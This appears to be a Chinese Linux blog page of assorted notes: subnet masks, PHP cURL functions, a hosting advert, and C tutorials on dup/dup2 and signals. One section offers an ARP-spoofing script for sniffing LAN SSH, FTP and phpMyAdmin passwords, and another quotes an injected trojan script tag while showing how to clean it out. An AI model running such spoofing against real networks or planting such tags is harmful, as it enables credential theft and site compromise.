LINUXQQ狂人时代

Main menu:

乱7八糟

子网掩码对照表

1.掩码255.0.0.0/8(A类地址默认掩码)
2.掩码255.128.0.0/9
3.掩码255.192.0.0/10
4.掩码255.224.0.0/11
5.掩码255.240.0.0/12
6.掩码255.248.0.0/13

7.掩码255.252.0.0/14
8.掩码255.254.0.0/15
9.掩码255.255.0.0/16(B类地址默认掩码)
10.掩码255.255.128.0/17
11.掩码255.255.192.0/18
12.掩码255.255.224.0/19
13.掩码255.255.240.0/20
14.掩码255.255.248.0/21
15.掩码255.255.252.0/22
16.掩码255.255.254.0/23
17.掩码255.255.255.0/24(C类地址默认掩码)
18.掩码255.255.255.128/25
19.掩码255.255.255.192/26
20.掩码255.255.255.224/27
21.掩码255.255.255.240/28
22.掩码255.255.255.248/29
23.掩码255.255.255.252/30

PHP中的CURL函数库

PHP中的CURL函数库(Client URL Library Function)

curl_close - 关闭一个curl会话
curl_copy_handle - 拷贝一个curl连接资源的所有内容和参数
curl_errno - 返回一个包含当前会话错误信息的数字编号
curl_error - 返回一个包含当前会话错误信息的字符串
curl_exec - 执行一个curl会话
curl_getinfo - 获取一个curl连接资源句柄的信息
curl_init - 初始化一个curl会话
curl_multi_add_handle - 向curl批处理会话中添加单独的curl句柄资源
curl_multi_close - 关闭一个批处理句柄资源
curl_multi_exec - 解析一个curl批处理句柄
curl_multi_getcontent - 返回获取的输出的文本流
curl_multi_info_read - 获取当前解析的curl的相关传输信息
curl_multi_init - 初始化一个curl批处理句柄资源
curl_multi_remove_handle - 移除curl批处理句柄资源中的某个句柄资源
curl_multi_select - Get all the sockets associated with the cURL extension, which can then be “selected”
curl_setopt_array - 以数组的形式为一个curl设置会话参数
curl_setopt - 为一个curl设置会话参数
curl_version - 获取curl相关的版本信息

curl_init()函数的作用初始化一个curl会话,curl_init()函数唯一的一个参数是可选的,表示一个url地址。
curl_exec()函数的作用是执行一个curl会话,唯一的参数是curl_init()函数返回的句柄。
curl_close()函数的作用是关闭一个curl会话,唯一的参数是curl_init()函数返回的句柄。

 

东四IDC联通机房托管

名称】:东四IDC机房【地址】:东城区东四南大街164号
【简介】:东四IDC机房位于东四南大街与金宝街十字路口东北,地理位置十分优越,地处北京最为繁华的商业地带。它近邻长安街,凭借优越的地理位置,为客户提供快捷、高质量的服务。它是国内领先的具有国际一流标准的数据中心,拥有高速的光纤线路、完备的网络环境以及专业化的网络管理技术。拥有世界一流的设施、丰富的电信资源、运营经验和先进的网络设备,在为您提供高质量的IT服务的同时为您节省了时间和成本。
  东四IDC机房面积约1000平米,地处主机房楼。为客户提供开放式机架托管服务,电信级高端路由器双归上联,单链路负荷不超过50%,网络接入设备双机热备连接网络核心节点。双路市电接入2+1备份双总线UPS系统,柴油发电机后备保障。机房地板承重大于600kg/㎡,抗震烈度大于8级,梁下高度大于4.5m。机房环境温度22±2℃,湿度30~70%。7×24网络技术支持及安消防服务。
  交通:地铁5号线灯市口站。
中国联通东四IDC机房是北京市分公司投资建设的互联网数据中心。2008年底建成,2009年起提供服务,是目前全国最大的数据中心,具有高可靠性和高安全性。数据中心通过向客户提供网络带宽和机房环境的租用服务,为政府、企业、应用服务提供商、内容服务提供商、系统集成商、ISP等提供大规模、高质量、安全可靠的服务器托管服务。
1.机房的场地保障
  为给用户提供充裕的空间放置服务器及网络设备,使用电信级标准服务器机架为用户提供服务(机架宽度23英寸)。机房承重符合电信机房承重设计要求,整体抗地震级别达8级,可供用户放置一些特型设备。机房;总面积达800㎡;共有264个机架;承重: 650kg/㎡;层高: 3.5m;整体内部装饰为无吊顶;地面采用抗静电地板;强弱电桥架呈梳状结构上走线的方式。
  机房共分为四个区域:大客户区、增值区、中型客户区和小客户区。
3.网络保障
  东四IDC数据中心为适应不同用户对不同网络访问量的不同需求,采用两条2.5G光纤链路连接到Internet,目前连接到中国联通、中国电信的出口带宽均已开通1200M。各条链路均采用BGP4收取路由,并进行相应的策略设置,保证用户访问不同网络的访问速度,解决了其他ISP出口受中国联通和中国电信互连带宽瓶颈及访问国际网站的限制;同时各条出口互为备份,在其中1条链路出现故障的时候,所有流量通过其他链路出入,不会出现单链路故障,提高了可靠性。
  高速Internet接入、冗余的网络和带宽管理系统保证接入带宽可根据用户流量的需求随时扩充,充分满足用户日益增长的网络应用。
4.电力保障
  数据中心设有专用的变电站,电源分三路从发电厂输送到变电站;为保障分配给用户的电力不间断的供应,数据中心电力机房安装了智能UPS系统及容量充足的电池,可以保证持续供电;配电系统的敷设方式为通过机柜上方的开放式桥架走线,每机柜的电缆线径不小于4mm。此外,数据中心还配备柴油发电机组,当电力中断时使用,可为用户提供99.99%的电力供应保障。
  市电保障:30000KVA二路市电;高压供电来自两个不同开闭站的纯双路系统;机柜内插座排提供带卡紧装置的20位欧标插座,其最大承载电流为13A。
  UPS保障:两组独立超大功率电信机房专用UPS双路(N+1)供电,电池持续供电时间不短于4小时。
  后备柴油发电机组:2组全国IDC中发电功率最大的2250KVA柴油发电机组阵列备份,总功率4500KVA,在二路市电同时意外断开30秒之内自动切换。
5.安全保障
  数据中心大楼有7*24小时的专业保安人员,用户进入机房时,需登记或持有通行卡方可入内。
  为了保证用户的托管设备安全,数据中心具有电视监控及出入机房控制系统,达到整个楼层没有监视盲区;电视墙监控系统有专人7*24小时值守,所有录像保存3个月以上;出入机房门禁系统采用先进的数据库管理,用户身份卡内保存有持卡人编号,进出区域限制,时间限制等,只有经过特殊授权的人员才能进入重要区域。
6.消防保障
  IDC机房采用激光主动式早期火灾预警及灭火系统,数据中心机房采用防火构架及材料,消防能力符合电信级标准,备有多个紧急通道;机房及楼道内安装温度烟雾感应消防系统,防火报警探测头,遇火情时系统自动报警,并启动FM200惰性气体灭火系统灭火。此外,机房内还可另外配备手提式、推车式灭火器。
7.技术支持保障
  数据中心专业工程师7*24小时待命,为用户提供设备、线路等问题的技术支持;协助用户完成安装设备、布放网络线路、网络监控等工作。
售后优势:
1、 我们的机房为7*24小时全天候专业工程师服务,负责重启、监控等工作。
  2、 我们的监控是全国性的,也就是在广州,北京,山西,江苏等地都设有专门 监控设备同时进行,这样更能提早发现问题并处理。
  3、 我们会为客户每月出故障等相关报告。
  4、 我们的服务为主动贴心服务,就是先于客户发现问题,并及时解决。
因为专注,所以专业,期待和贵公司真诚的合作!

联系电话:13811648428
联系QQ:401114644
联系人:李扬

注:
本公司承接windows,linux服务器集群,网格环境搭建,清除服务器入侵威胁,欢迎来电咨询

linux arp工具+脚本

对LINUX下所用的arp欺骗工具+自己写的脚本,由于在安装工具方便问题多多比较困难,所以发布该脚本.

    该脚本针对centos4.0/5.0 redhat 4.0/5.0  经测试可以抓出局域网SSH,FTP,PHPMYADMIN密码

 下载地址

网上有很多相关的资料 可以搜索下arpspoof

以下是自己写的对内网某ip限速脚本,此工具强大,强制突破360arp防火墙.

#!/bin/bash
Gateway=192.168.1.1
FILE=/usr/local/test
nmap 192.168.1.0/24 | grep -10 00:1A:A1:28:38:7F | grep -o ‘[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}’ >$FILE
if [ $? -eq 0 ]
then
{
read pig
} <$FILE
else
echo “Pigs not only on line”
fi
arpspoof -t &Gateway $pig

 

 grep -10 00:1A:A1:28:38:7F 这段MAC地址是你要限速的MAC地址,根据MAX欺骗

作者linux qq

转载http://www.linuxqq.com/a/zy/2009/1122/589.html

清楚木马下所有PHP木马脚本

#!/bin/sh

if [ $# -gt 1  ]; then
    echo “Usage: $0 [FileName]”
    exit 1
elif [ $# -eq 1 ]; then
    MY_FILE=$1
else
    MY_FILE=$0
fi

if [ ! -f $MY_FILE ]; then
    echo “$MY_FILE does not exist!”
    exit 2
fi

MY_LINE_NO=1
while read MY_LINE
do
  perl -pi -e ’s|<script src=http:\/\/vanbeurden-porsche.be\/library\/index.php ><\/script>| |g’ $MY_LINE
done < $MY_FILE

 

先使用 find . /-name >123 然后./shell.sh 123

<script src=http:\/\/vanbeurden-porsche.be\/library\/index.php ><\/script>

这句是木马 里面的反斜杠转义的意思

centos 5 S5000VSA lsi raid 1 安装方法

   驱动找了好久死活不对。阅读了官网的说明:按以下步骤

 开机创建RAID1

 光盘引导:输入linux nostorage

 会出现 DONE 和ADD DRIVCE

 选择ADD DRIVER 按回车

按F2选择SDA

找到列表里面的驱动。按回车

回到上一步了DONE 和ADD DRIVER

在选择那驱动 敲回车 就开始安装了
 OK了

linux select 函数阻塞

 struct timeval timeout;

 timeout.tv_sec=10 意思是10秒之类如果没有发生改变,函数则立即返回。

Linux下操作信号量概述

ftok函数是根据pathname和proj来创建一个关键字。
semget创建一个信号量。成功时返回信号的ID,key是一个关键字,可以是用ftok创建的也可以是IPC_PRIVATE表明由系统选用一个关键字。nsems表明我们创建的信号个数。semflg是创建的权限标志,和我们创建一个文件的标志相同。
semctl对信号量进行一系列的控制。semid是要操作的信号标志,semnum是信号的个数,cmd是操作的命令。经常用的两个值是:SETVAL(设置信号量的值)和IPC_RMID(删除信号灯)。arg是一个给cmd的参数。
semop是对信号进行操作的函数。semid是信号标志,spos是一个操作数组表明要进行什么操作,nspos表明数组的个数。如果sem_op大于0,那么操作将sem_op加入到信号量的值中,并唤醒等待信号增加的进程。如果为0,当信号量的值是0的时候,函数返回,否则阻塞直到信号量的值为0。如果小于0,函数判断信号量的值加上这个负值。如果结果为0唤醒等待信号量为0的进程,如果小与0函数阻塞。如果大于0,那么从信号量里面减去这个值并返回

dup函数

dup函数 :复制文件描述符
相关头文件:#include <unistd.h>
函数表达式:int dup(int filedes);
参数说明:dup的函数参数filedes表示需要复制的文件的文件描述符
返回值说明:如果成功复制一个文件返回新的文件描述符,失败则返回-1
函数功能详解:dup函数总是找到进程文件表中的第一个可用的文件描述符 ,将参数指定的文件描述符 复制到该描述符后 ,返回这个描述符。
函数使用说明:
        dup函数总是将复试的文件描述符复制到进程中第一个可用的文件描述符的位置 ,因此利用这一个特性可以知道进程中最小可用的文件描述符
        dup函数复制的文件必须是一个已经打开的有效文件 。dup函数的参数不能是随便的一个整数,从而避免引起系统混乱。

利用函数dup,我们可以复制一个描述符。传给该函数一个既有的描述符,它就会返回一个新的描述符,
这个新的描述符是传给它的描述符的拷贝。这意味着,这两个描述符共享同一个数据结构。例如,
如果我们对一个文件描述符执行lseek操作,得到的第一个文件的位置和第二个是一样的。

需要注意的是,我们可以在调用fork之前建立一个描述符,这与调用dup建立描述符的效果是一样的,
子进程也同样会收到一个复制出来的描述符。

dup2函数跟dup函数相似,但dup2函数允许调用者规定一个有效描述符和目标描述符的id。dup2函数成功返回时,目标描述符(dup2函数的第二个参数)将变成源描述符(dup2函数的第一个参数)的复制品,换句话说,
两个文件描述符现在都指向同一个文件,并且是函数第一个参数指向的文件。下面我们用一段代码加以说明: ?
int oldfd;
oldfd = open(”app_log”, (O_RDWR | O_CREATE), 0644 );
dup2( oldfd, 1 );
close( oldfd );
注:

dup()或者dup2()主要是将某个特定的文件描述字输出输出的重定向!
他们保证将复制的文件描述字到当前未打开的最小描述字!
标准输出对应着1,
close(1);
dup(fd);
close(fd);
先关掉了标准输出,那么这个描述字就空闲着,你一旦dup就重定向到他了,他们两共享同一个打开的文件表项,然后你将输出标准流到它现在指定的地方,也就是那个文件!
建议使用dup2(),上面的你那个改为
dup2(fd,STDOUT_FILENO);
这样好看多了吧?
本例中,我们打开了一个新文件,称为“app_log”,并收到一个文件描述符,该描述符叫做fd1。我们调用dup2函数,
参数为oldfd和1,这会导致用我们新打开的文件描述符替换掉由1代表的文件描述符(即stdout,因为标准输出文件的id为1)。
任何写到stdout的东西,现在都将改为写入名为“app_log”的文件中。

需要注意的是,dup2函数在复制了oldfd之后,会立即将其关闭,但不会关掉新近打开的文件描述符,因为文件描述符1现在也指向它。

下面我们介绍一个更加深入的示例代码:

1: #include <stdio.h>
 2: #include <stdlib.h>
3: #include <unistd.h>
 4:
 5: int main()

6: {
7: int pfds[2];
 8:
 9: if ( pipe(pfds) == 0 ) …{ //建立一个管道
 10:

 11: if ( fork() == 0 ) …{ //子进程
12:
13: close(1); //关闭stdout描述符
 14: dup2( pfds[1], 1 ); //把stdout重定向到管道(pfds[1])
 15: close( pfds[0] ); //关掉管道的输入端
 16: execlp( “ls”, “ls”, “-1″, NULL ); //把子进程的映像替换为命令ls –1的进程映像
 17:
18: }else …{ //父进程
 19:
 20: close(0); //关闭stdin描述符
 21: dup2( pfds[0], 0 ); //让stdin变成管道的输出端
 22: close( pfds[1] ); //关闭管道的stdout端(pfds[1])
 23: execlp( “wc”, “wc”, “-l”, NULL ); //把父进程的映像替换为命令wc -1的进程映像
 24:
 25: }
 26:
 27: }
 28:
 29: return 0;
 30: }

我们将ls –1命令的标准输出作为标准输入,连接到wc –l命令

首先在第9行代码中建立一个管道,然后将应用程序分成两个进程:一个子进程和一个父进程。

在子进程中首先关闭stdout描述符(第13行),然后提供了ls –1命令功能,
不过它不是写到stdout(第13行),而是写到我们建立的管道的输入端,这是通过dup函数来完成重定向的。

在第14行,使用dup2 函数把stdout重定向到管道(pfds[1])。之后,马上关掉管道的输入端。然后,使用execlp函数把子进程的映像替换为命令ls –1的进程映像,一旦该命令执行,它的任何输出都将发给管道的输入端。
现在来研究一下管道的接收端 。从代码中可以看出,管道的接收端是由父进程来担当的

首先关闭stdin描述符(第20行),因为我们不会从机器的键盘等标准设备文件来接收数据的输入,而是从其它程序的输出中接收数据。然后,再一次用到dup2函数(第21行),让stdin变成管道的输出端,这是通过让文件描述符0(即常规的stdin)等于pfds[0]来实现的。关闭管道的stdout端(pfds[1]),
因为在这里用不到它。最后,使用 execlp函数把父进程的映像替换为命令wc -1的进程映像,命令wc -1把管道的内容作为它的输入(第23行)。

在该程序中,需要格外关注的是,我们的子进程把它的输出重定向的管道的输入 ,然后,父进程将它的输入重定向到管道的输出。
这在实际的应用程序开发中是非常有用的一种技术。

1. 文件描述符在内核中数据结构
 在具体说dup/dup2之前, 我认为有必要先了解一下文件描述符在内核中的形态。
一个进程在此存在期间,会有一些文件被打开,从而会返回一些文件描述符,

从shell中运行一个进程, 默认会有3个文件描述符存在(0、1、2) ,

0与进程的标准输入相关联,
1与进程的标准输出相关联,

2与进程的标准错误输出相关联,

一个进程当前有哪些打开的文件描述符可以通过/proc/进程ID/fd目录查看 。 下图可以清楚的说明问题:

 进程表项

————————————————
   fd标志 文件指针
 _____________________
fd 0:|________|____________|————> 文件表
fd 1:|________|____________|

fd 2:|________|____________|

fd 3:|________|____________|

| ……. |

 |_____________________|

 图1

文件表中包含:文件状态标志、当前文件偏移量、v节点指针,这些不是本文讨论的
重点,我们只需要知道:

每个打开的文件描述符(fd标志)在进程表中都有自己的文件表项,由文件指针指向

2. dup/dup2函数
APUE和man文档都用一句话简明的说出了这两个函数的作用:复制一个现存的文件描述符。
#include <unistd.h>
int dup(int oldfd);
int dup2(int oldfd, int newfd);

从图1来分析这个过程,当调用dup函数时,内核在进程中创建一个新的文件描述符,此
描述符是当前可用文件描述符的最小数值,这个文件描述符指向oldfd所拥有的文件表项。
  进程表项

————————————————

  fd标志 文件指针

 _____________________

fd 0:|________|____________| ______

fd 1:|________|____________|—————-> | |

fd 2:|________|____________| |文件表|

fd 3:|________|____________|—————-> |______|

 | ……. |

 |_____________________|

 图2:调用dup后的示意图
如图2 所示,假如oldfd的值为1, 当前文件描述符的最小值为3, 那么新描述符3指向
描述符1所拥有的文件表项。

dup2和dup的区别就是可以用newfd参数指定新描述符的数值,

如果newfd已经打开,则先将其关闭。

如果newfd等于oldfd,则dup2返回newfd, 而不关闭它。dup2函数返回的新
文件描述符同样与参数oldfd共享同一文件表项。
APUE用另外一个种方法说明了这个问题:
实际上,调用dup(oldfd);
等效与
? fcntl(oldfd, F_DUPFD, 0)
而调用dup2(oldfd, newfd);
等效与
 close(oldfd);
 fcntl(oldfd, F_DUPFD, newfd);

信号屏蔽字

 

四、信号屏蔽字:

有时候我们希望进程正确的执行,而不想进程受到信号的影响,比如我们希望上面那个程序在1秒钟之后不结束。这个时候我们就要进行信号的操作了。

信号操作最常用的方法是信号屏蔽。信号屏蔽要用到下面的几个函数。

sigemptysetsigfillsetsigaddsetsigdelsetsigismembersigprocmask。下面对他们分别进行讲解。

 

8

名称:

sigemptyset/sigfillset/sigaddset/sigdelset/sigismember

功能

处理信号集

头文件

#include <signal.h>

函数原形:

int sigemptyset(sigset_t *set);

int sigfillset(sigset_t *set);

int sigaddset(sigset_t *set,int signum);

int sigdelset(sigset_t *set,int signum);

int sigismember(const sigset_t *set,int signum);

参数:

set 信号集

signum 信号

返回值:

若成功返回0,若出错返回-1

若真返回1,若假返回0,若出错返回-1 sigismember

      

 

 

 

 

 

 

 

 

 我们需要有一个能表示多个信号—信号集的数据类型。我们将在诸如sigprocmask之类的函数中使用这种数据类型,以便告诉内核不允许发生该信号集中的信号。上面的5个函数可以对信号集进行处理。

函数sigemptyset 初始化由set指向的信号集,清除其中所有信号。函数sigfillset初始化由set指向的信号集,使其包含所有信号。所以信号在使用信号集前,要对信号集调用sigemptysetsigfillset一次。

函数sigaddset 将一个信号添加到现有集中,sigdelset则从信号集中删除一个信号。对所有以信号集作为参数的函数,我们总是以信号集地址作为其传送的参数。

       sigismember查询信号是否在信号集合之中。

下面的例子:

/*10_7.c*/

#include <stdio.h>

#include <signal.h>

 

main()

{

sigset_t *set;

set=(sigset_t*)malloc(sizeof(set));

 

sigemptyset(set);/*初始化信号集*/

sigaddset(set,SIGUSR1);/*添加信号SIGUSR1到信号集中*/

sigaddset(set,SIGINT);/*添加信号SIGUSR2到信号集中*/

 

if((sigismember(set,SIGUSR1))==1)/*测试信号SIGUSR1是否在信号集中*/

    printf(“SIGUSR1\n”);

if((sigismember(set,SIGUSR2))==1)

    printf(“SIGUSR2\n”);

if((sigismember(set,SIGINT))==1)

    printf(“SIGINT\n”);

}

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

下面是执行结果:

# ./10_7

SIGUSR1

SIGINT

程序先初始化信号集,清除其中所有信号,然后把SIGUSR1SIGINT添加到信号集中,然后测试SIGUSR1SIGUSR2SIGINT信号是否在信号集中。因为SIGUSR2不在信号集中,所以程序并不打印SIGUSR2

 

9

名称:

sigprocmask

功能

检测或更改信号屏蔽字

头文件

#include <signal.h>

函数原形

int sigprocmask(int how,const sigsett_t *set,sigset_t *oldset);

参数:

how  操作方式

set   信号集

oldest

返回值:

若成功返回0,若出错返回-1

 

 

 

 

 

 

 

 

 

 

 

 

每个进程都有一个用来描述哪些信号递送到进程时将被阻塞的信号集,该信号集中的所有信号在递送到进程后都将被阻塞。

sigprocmask是最为关键的一个函数。在使用之前要先设置好信号集合set。这个函数的作用是将指定的信号集合set加入到进程的信号阻塞集合之中去,如果提供了oldset那么当前的进程信号阻塞集合将会保存在oldset里面。参数how决定函数的操作方式。

SIG_BLOCK:增加一个信号集合到当前进程的阻塞集合之中。

SIG_UNBLOCK:从当前的阻塞集合之中删除一个信号集合。

SIG_SETMASK:将当前的信号集合设置为信号阻塞集合。

 

我们把10_7.c稍微修改一下,看看sigprocmask函数的功能。

/*10_8.c*/

#include <stdio.h>

#include <signal.h>

 

main()

{

sigset_t *set;

set=(sigset_t*)malloc(sizeof(set));

 

sigemptyset(set);/*定义信号集set*/

sigaddset(set,SIGINT);/*把信号SIGINT添加到信号集中*/

sigprocmask(SIG_SETMASK,set,NULL);/*set设置为信号阻塞集合*/

wile(1);/*死循环*/

}

程序先定义信号集set,然后把信号SIGINT添加到set信号集中,最后把set设置为信号阻塞集合。当我们运行程序时,进程进入死循环。我们按“ctrl+c”系统并没有中断程序,因为我们已经把SIGINT信号屏蔽掉了。我们可以按”ctrl+z”来结束程序。

sigeprocmask函数通常和sigemptyset/sigfillset/sigaddset/sigdelset/sigismember函数配合使用,主要有两种用途:

1.我们不希望某些不太重要的信号来影响我们的进程,我们就可以把这些信号添加到信号屏蔽集中。使它们不打扰进程的执行。

2.如果系统现在很忙,没有时间及时相应信号,进程可以先把信号阻塞掉,等系统有空闲时间在去相应,这也保证了信号的可靠性。下面的函数可以做到这一点。

 

10

名称:

sigpending

功能:

返回信号集

头文件:

#include <signal.h>

函数原形:

int sigpending(sigset_t *set);

参数:

 

返回值:

若成功返回0,若出错返回-1

 

 

 

 

 

 

 

 

 

我们要注意的是,阻塞信号并不是丢弃信号,它们被保存在一个进程的信号阻塞队列里,sigpending可以获得当前已递送到进程,却被阻塞的所有信号,在set指向的信号集中返回这些信号。

 

下面是一个例子:

/*10_9.c*/

#include <stdio.h>

#include <signal.h>

#include <stdlib.h>

 

int main(void)

{

sigset_t newmask,oldmask,pendmask;

 

sigemptyset(&newmask);  /*初始化信号集*/

sigaddset(&newmask,SIGINT);  /*添加信号SIGINT到信号集*/

if(sigprocmask(SIG_BLOCK,&newmask,&oldmask)<0)  /*信号集newmask设置为阻塞信号集*/

    perror(“error”);

sleep(5);

if(sigpending(&pendmask)<0)  /*把当前已递送到进程,却被阻塞的信号保存到进程的信号阻塞队列里*/

    perror(“error”);

if(sigismember(&pendmask,SIGINT))  /*检测进程阻塞队列里是否有SIGINT信号*/

    printf(“\nSIGINT pending\n”);

 

exit(0);

}

 

程序开始运行,如果我们在5秒钟内按”ctrl+c”,SIGINT信号会被传递到进程,但是由于进程设置了信号阻塞集,信号SIGINT在这个集合中,所有这个信号被阻塞。并由sigpend保存到进程的信号阻塞队列pendmask.然后我们用sigismember检测SIGINT是否在信号阻塞队列pendmask里。